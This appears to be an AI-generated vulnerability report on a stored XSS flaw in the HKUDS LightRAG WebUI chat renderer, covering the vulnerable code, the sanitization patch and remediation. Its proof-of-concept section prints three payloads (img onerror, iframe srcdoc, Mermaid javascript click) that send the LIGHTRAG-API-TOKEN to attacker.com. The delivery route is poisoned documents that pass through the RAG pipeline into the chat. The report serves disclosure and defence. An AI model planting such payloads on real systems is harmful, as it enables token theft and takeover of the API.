CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86062

CVE-2026-86062: Stored Cross-Site Scripting (XSS) in HKUDS LightRAG WebUI Chat Renderer

Alon Barad
Alon Barad
Software Engineer

Sep 23, 2026·7 min read·5 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in LightRAG WebUI prior to v1.5.5 allows attackers to execute arbitrary JavaScript in the victim's browser session by poisoning documents ingested into the RAG knowledge base. This can lead to the exfiltration of the administrative LIGHTRAG-API-TOKEN from local storage, granting full remote control over the API.

HKUDS LightRAG, an open-source retrieval-augmented generation (RAG) framework, is vulnerable to Stored Cross-Site Scripting (XSS) in its WebUI chat rendering component prior to version 1.5.5. Unsanitized document content ingested into the vector database can propagate through the LLM response pipeline and execute malicious HTML or active JavaScript payloads inside the administrator's WebUI session. Because the application stores sensitive access keys in browser storage, successful exploitation allows complete API token extraction and administrative session hijacking.

Vulnerability Overview

Retrieval-Augmented Generation (RAG) frameworks like HKUDS LightRAG optimize large language model (LLM) responses by querying external knowledge databases and integrating retrieved document chunks into the prompt context. This architecture introduces a distinct trust boundary. The system processes external, untrusted documents, stores them in vector indexes, and later reflects them in the chatbot interface. When security assumptions fail to account for malicious payload preservation during this cycle, the document storage pipeline becomes an injection vector.

In HKUDS LightRAG, the administration WebUI allowed users to upload documents and query the indexed knowledge base. The vulnerability resides within the React-based frontend component lightrag_webui/src/components/retrieval/ChatMessage.tsx. This component handles the rendering of both the assistant's final response and the detailed retrieval steps (referred to as the "thinking" block). Because the component failed to sanitize the raw output before injecting it into the DOM, it was susceptible to Stored Cross-Site Scripting (XSS) mapped to CWE-79.

An attacker who can ingest or modify documents in the knowledge base can introduce malicious HTML, SVG, or JavaScript vectors. When a legitimate administrator or user performs a query that retrieves the compromised chunk, the client WebUI renders the unsanitized payload. The script runs with the permissions of the victim's browser context, enabling actions such as session hijacking, administrative token exfiltration, and unauthorized access to the LightRAG API.

Root Cause Analysis

The root cause of CVE-2026-86062 is the absence of an HTML sanitization layer combined with permissive rendering configurations inside ChatMessage.tsx. The component used the popular react-markdown library to render the structured chatbot outputs. While react-markdown safely escapes HTML by default, the LightRAG implementation specifically configured the renderer to parse raw HTML blocks.

This behavior was governed by two properties: the inclusion of the rehype-raw plugin and the explicit setting of skipHtml={false}. The rehype-raw plugin parses raw HTML tags within markdown files into an Abstract Syntax Tree (AST) so they can be rendered as valid DOM nodes. Without a secondary sanitization plugin such as rehype-sanitize, this configuration converts plain text strings of markup directly into executable DOM elements in the client browser.

Additionally, the WebUI initialized the Mermaid diagram engine and the KaTeX mathematical renderer with weak security baselines. Mermaid was configured with securityLevel: 'loose', which bypasses standard script isolation and allows custom javascript URI actions or malicious SVG script nodes. KaTeX was configured with trust: true, enabling macro instructions to load external resources or execute javascript protocols via hyper-links. Together, these flaws created three distinct paths for script execution.

Code-Level Analysis and Patch Verification

The vulnerability was resolved in version 1.5.5 by incorporating the rehype-sanitize package and configuring a restrictive HTML sanitization schema.

Prior to the patch, the markdown renderer in ChatMessage.tsx processed raw input elements with no restrictions:

// VULNERABLE CODE PATH (Pre-v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[rehypeRaw]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

To patch the issue, developers modified the rendering pipeline. The patch introduces rehype-sanitize immediately after the raw parsing stage, passing a custom schema called chatMarkdownSanitizeSchema:

// PATCHED CODE PATH (v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import { chatMarkdownSanitizeSchema } from '@/utils/markdownSanitizeSchema';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[
        rehypeRaw,
        [rehypeSanitize, chatMarkdownSanitizeSchema]
      ]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

In the utility module lightrag_webui/src/utils/markdownSanitizeSchema.ts, the custom schema inherits from the strict GitHub-style defaults but overrides specific elements. It explicitly limits class attributes and permits only safe elements (like <mark> or <u>), while automatically stripping <script>, <iframe>, and inline event attributes (such as onerror or onload):

import { defaultSchema, type Options as SanitizeSchema } from 'rehype-sanitize';
 
export const chatMarkdownSanitizeSchema: SanitizeSchema = {
  ...defaultSchema,
  clobberPrefix: '',
  tagNames: [
    ...(defaultSchema.tagNames ?? []),
    'mark',
    'u'
  ],
  attributes: {
    ...defaultSchema.attributes,
    code: [['className', /^language-./, 'math-inline', 'math-display']],
    a: [
      ...(defaultSchema.attributes?.a ?? []).filter(
        (attr) => !(Array.isArray(attr) && attr[0] === 'className')
      ),
      ['className', 'data-footnote-backref', 'footnote-ref']
    ]
  }
};

Additionally, the Mermaid configuration was updated to use securityLevel: 'strict', and KaTeX was updated to set trust: false. These changes prevent the execution of arbitrary scripts or the inclusion of insecure external assets during diagram or formula rendering.

Exploitation Methodology and PoC Vectors

An attack scenario involves a document-poisoning vector. Because the vector database processes and stores document chunks verbatim, any raw HTML tags inside the ingested files survive the ingestion pipeline. When a user runs a search query that retrieves these chunks, the LLM incorporates the untrusted content into the chat response.

Several functional Proof-of-Concept (PoC) payloads can exploit this vulnerability. The simplest method uses a broken image tag with an inline error handler:

<img src="does-not-exist.png" onerror="const token = localStorage.getItem('LIGHTRAG-API-TOKEN'); fetch('https://attacker.com/collect?token=' + btoa(token));">

An alternative approach targets the iframe element using the srcdoc attribute, which compiles and executes embedded scripts without requiring external document loads:

<iframe srcdoc="&lt;script&gt;fetch('https://attacker.com/collect?t=' + localStorage.getItem('LIGHTRAG-API-TOKEN'))&lt;/script&gt;"></iframe>

If the application supports Mermaid graph rendering, an attacker can construct a malicious flowchart that uses loose click handlers to execute arbitrary JavaScript within the diagram context:

```mermaid
flowchart TD
  A[Start] --&gt; B(Execute Payload)
  click B "javascript:fetch('https://attacker.com/collect?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))"

These payloads execute in the security context of the LightRAG WebUI origin, bypassing standard access controls.

Practical Security Impact

The execution of arbitrary scripts in the LightRAG WebUI origin leads to several severe security risks. LightRAG WebUI stores administrative secrets in browser storage. Specifically, the LIGHTRAG-API-TOKEN used to authorize API calls against the backend service is kept in localStorage. Accessing this token allows an attacker to bypass all frontend authentication.

With an exfiltrated API token, the attacker can interact directly with the backend REST service. They can execute administrative tasks, including querying internal document indices, deleting vector collections, or uploading additional poisoned files. This enables further manipulation of the LLM output.

In enterprise environments where LightRAG handles internal documentation, the attacker can use this access to extract confidential business data, internal code repositories, or customer records. The exploit does not require active server-side code execution vulnerabilities. By leveraging the client-side session, it bypasses network-level firewalls that isolate the backend APIs.

Incident Remediation and Defense-in-Depth

The primary remediation strategy is upgrading LightRAG to version 1.5.5 or higher. This update applies the necessary code-level sanitization using rehype-sanitize and hardens the configurations of Mermaid and KaTeX.

If upgrading is not immediately possible, organizations can apply temporary mitigations:

  1. Implement a strict Content Security Policy (CSP) header for the LightRAG WebUI. This header should disable the execution of inline scripts and restrict script connections to trusted endpoints: Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.lightrag.internal;

  2. Configure a Web Application Firewall (WAF) rule to block incoming document ingestion requests that contain dangerous HTML tags (such as <script>, <iframe>, <object>, <embed>, or HTML event handlers like onerror and onload).

  3. Sanitize inputs at the ingestion pipeline before files are committed to the vector database. Filtering raw HTML elements from input documents reduces the risk of XSS payload storage.

Official Patches

HKUDSGHSA-xpjq-3w4w-w5wr Security Advisory
HKUDSFix Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

HKUDS LightRAG WebUI

Affected Versions Detail

Product
Affected Versions
Fixed Version
LightRAG
HKUDS
< 1.5.51.5.5
AttributeDetail
CWE IdentifierCWE-79 (Improper Neutralization of Input During Web Page Generation)
Attack VectorNetwork / Client Interaction (UI-Required)
CVSS v3.1 Score6.1 (Medium Severity)
Exploit StatusProof of Concept (PoC) documented in official advisories
CISA KEV StatusNot Listed
RemediationUpgrade to v1.5.5 or apply custom rehype-sanitize configurations

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before rendering it as a web page, allowing arbitrary JavaScript execution in the context of the user session.

Vulnerability Timeline

Vulnerability discovered and analyzed
2026-01-20
Fix commit merged into the main development branch
2026-02-01
Official v1.5.5 security release published
2026-02-05
GitHub Security Advisory GHSA-xpjq-3w4w-w5wr disclosed
2026-02-06

References & Sources

  • [1]NVD CVE-2026-86062 Detail
  • [2]GitHub Security Advisory GHSA-xpjq-3w4w-w5wr
  • [3]GitHub Pull Request 3437
  • [4]LightRAG Release v1.5.5

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-85740
7.1

CVE-2026-85740: Server-Side Request Forgery (SSRF) Guard Bypass via IPv6 Transition Wrappers in LightRAG

A security vulnerability in HKUDS/LightRAG prior to v1.5.5 allows authenticated attackers to bypass the native markdown image downloader guard. The system fails to normalize IPv6 transition wrappers (such as NAT64, IPv4-compatible, and 6to4 blocks) encapsulating internal IPv4 addresses. Python's ipaddress library evaluates these wrappers as globally routable, but hosting environments running NAT64/DNS64 routing decapsulate and route the requests to internal resources.

Alon Barad
Alon Barad
1 views•5 min read
•about 3 hours ago•CVE-2026-94462
7.1

CVE-2026-94462: Broken Access Control in Spree Store API v3 Cart Association

An Insecure Direct Object Reference (IDOR) vulnerability exists in Spree open-source e-commerce solution versions 5.4.0 through 5.4.3 and 5.5.0 through 5.5.3. An authenticated attacker can predict or enumerate guest cart identifiers generated via Sqids and associate them with their own account. This unauthorized association leaks sensitive customer personally identifiable information (PII) and disrupts the checkout flow of active guest sessions.

Alon Barad
Alon Barad
7 views•6 min read
•about 4 hours ago•CVE-2026-77633
7.1

CVE-2026-77633: Storage-quota Time-of-Check to Time-of-Use (TOCTOU) Race Condition in Cloudreve

Cloudreve before version 4.18.0 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its storage-quota verification logic. Authenticated attackers with basic write access can trigger multiple parallel upload sessions to bypass their storage limits, leading to host disk space exhaustion and Denial of Service.

Alon Barad
Alon Barad
5 views•7 min read
•about 5 hours ago•CVE-2026-77637
3.8

CVE-2026-77637: Privilege Scope Bypass in Cloudreve Administrative Tools

CVE-2026-77637 is a privilege scope bypass vulnerability in Cloudreve. It allows authenticated clients possessing read-only administrative credentials to access sensitive administrative tool endpoints that should require write-level permissions.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 6 hours ago•CVE-2026-79767
5.5

CVE-2026-79767: Authorization Bypass in Gardener API Server admission plugin

An incorrect authorization vulnerability (CWE-863) in Gardener's customverbauthorizer admission plugin allows project administrators lacking the manage-members permission to inject arbitrary Group or ServiceAccount subjects, granting unauthorized access to project resources.

Alon Barad
Alon Barad
5 views•7 min read
•about 7 hours ago•CVE-2026-79913
6.5

CVE-2026-79913: Server-Side Request Forgery Bypass via IPv6 Transition Addresses in Cloudreve

Cloudreve versions prior to 4.18.0 contain a Server-Side Request Forgery (SSRF) vulnerability. The application's validation logic fails to canonicalize various IPv4-in-IPv6 transition formats, such as NAT64, 6to4, and Teredo addresses. Consequently, an authenticated user with remote-download permissions can issue requests that bypass SSRF network boundaries, enabling connection routing to loopback, private, or cloud metadata endpoints.

Amit Schendel
Amit Schendel
10 views•7 min read